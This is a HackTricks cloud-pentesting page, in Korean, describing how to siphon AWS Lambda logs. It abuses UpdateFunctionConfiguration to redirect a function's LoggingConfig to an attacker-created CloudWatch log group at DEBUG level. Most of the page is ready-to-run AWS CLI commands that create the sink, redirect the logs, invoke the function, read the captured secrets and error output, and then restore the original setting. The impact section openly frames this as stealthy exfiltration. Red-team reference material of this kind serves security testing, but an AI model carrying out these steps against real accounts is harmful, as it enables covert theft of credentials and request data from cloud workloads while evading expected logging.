AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

lambda:UpdateFunctionConfiguration의 고급 로깅 제어를 악용하여 함수의 로그를 공격자가 선택한 CloudWatch Logs 로그 그룹으로 리디렉션하세요. 이 방법은 코드나 실행 역할을 변경하지 않고도 작동합니다(대부분의 Lambda 역할에는 이미 logs:CreateLogGroup/CreateLogStream/PutLogEventsAWSLambdaBasicExecutionRole을 통해 포함되어 있습니다). 함수가 secrets/요청 본문을 출력하거나 스택 트레이스로 크래시하면 새 로그 그룹에서 이를 수집할 수 있습니다.

필수 권한

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (또는 기존 트리거에 의존)
  • logs:CreateLogGroup (함수 역할에 있으면 종종 필요 없음)
  • logs:FilterLogEvents (이벤트를 읽기 위해)

단계

  1. sink 로그 그룹 생성
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
  1. 대상 함수의 로그 리디렉션
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1

LastUpdateStatusSuccessful이 될 때까지 기다리세요:

aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
  1. sink를 호출하고 sink에서 읽기
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text

영향

  • 은밀하게 애플리케이션/시스템 로그를 모두 제어하는 로그 그룹으로 리디렉션하여, 로그가 /aws/lambda/<fn>에만 도달한다고 예상하는 것을 우회합니다.
  • Exfiltrate 함수가 출력하거나 오류에 노출된 민감한 데이터를 탈취합니다.

정리

aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true

노트

  • 로깅 제어는 Lambda’s LoggingConfig (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel)의 일부입니다.
  • 기본적으로 Lambda는 로그를 /aws/lambda/<function>으로 전송하지만, 임의의 로그 그룹 이름을 지정할 수 있습니다; 허용되는 경우 Lambda(또는 실행 역할)가 해당 로그 그룹을 생성합니다.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기